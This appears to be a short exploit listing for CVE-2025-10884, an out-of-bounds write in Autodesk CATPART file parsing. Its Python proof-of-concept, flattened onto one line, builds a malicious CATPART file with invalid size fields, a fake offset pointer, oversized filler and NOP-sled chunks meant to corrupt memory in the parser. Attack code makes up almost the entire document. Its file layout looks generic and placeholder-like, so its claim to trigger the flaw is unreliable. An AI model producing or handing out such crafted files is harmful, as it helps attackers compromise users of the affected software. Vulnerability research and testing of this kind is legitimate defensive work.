CVE-2025-10884: Autodesk产品CATPART文件解析越界写入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2025-10884: Autodesk CATPART File Parsing Out-of-Bounds Write Note: This is a simplified proof-of-concept for educational purposes only. """ import struct import os def create_malicious_catpart(): """ Create a malicious CATPART file to trigger OOB write in Autodesk products. This PoC generates a malformed CATPART file with oversized data structures. """ # CATPART file header header = b'CATPART' # File signature header += struct.pack('<I', 0x00001000) # Version header += struct.pack('<I', 0x00000001) # Flags # Malicious data section - oversized to trigger OOB write # Craft data that will cause buffer overflow during parsing malicious_data = b'A' * 0x10000 # Oversized data block # Malformed header structure malformed_chunk = struct.pack('<I', 0x0000FFFF) # Invalid size field malformed_chunk += struct.pack('<I', 0x41414141) # Corrupted offset pointer malformed_chunk += malicious_data # Construct the malicious CATPART file catpart_file = header catpart_file += b'\x00\x00\x00\x01' # Chunk type identifier catpart_file += struct.pack('<I', len(malformed_chunk)) # Chunk size catpart_file += malformed_chunk # Add additional malicious structures for i in range(10): evil_struct = struct.pack('<I', 0xFFFFFFFF) # Malformed size evil_struct += b'\x90' * 0x1000 # NOP sled + oversized data catpart_file += struct.pack('<I', i) # Chunk ID catpart_file += struct.pack('<I', len(evil_struct)) catpart_file += evil_struct return catpart_file def main(): """Generate and save the malicious CATPART file.""" output_file = 'CVE-2025-10884_malicious.catpart' malicious_content = create_malicious_catpart() with open(output_file, 'wb') as f: f.write(malicious_content) print(f'[+] Generated malicious CATPART file: {output_file}') print(f'[+] File size: {len(malicious_content)} bytes') print('[!] WARNING: This file is designed to trigger CVE-2025-10884') print('[!] Do not open with Autodesk products unless in a controlled environment') if __name__ == '__main__': main()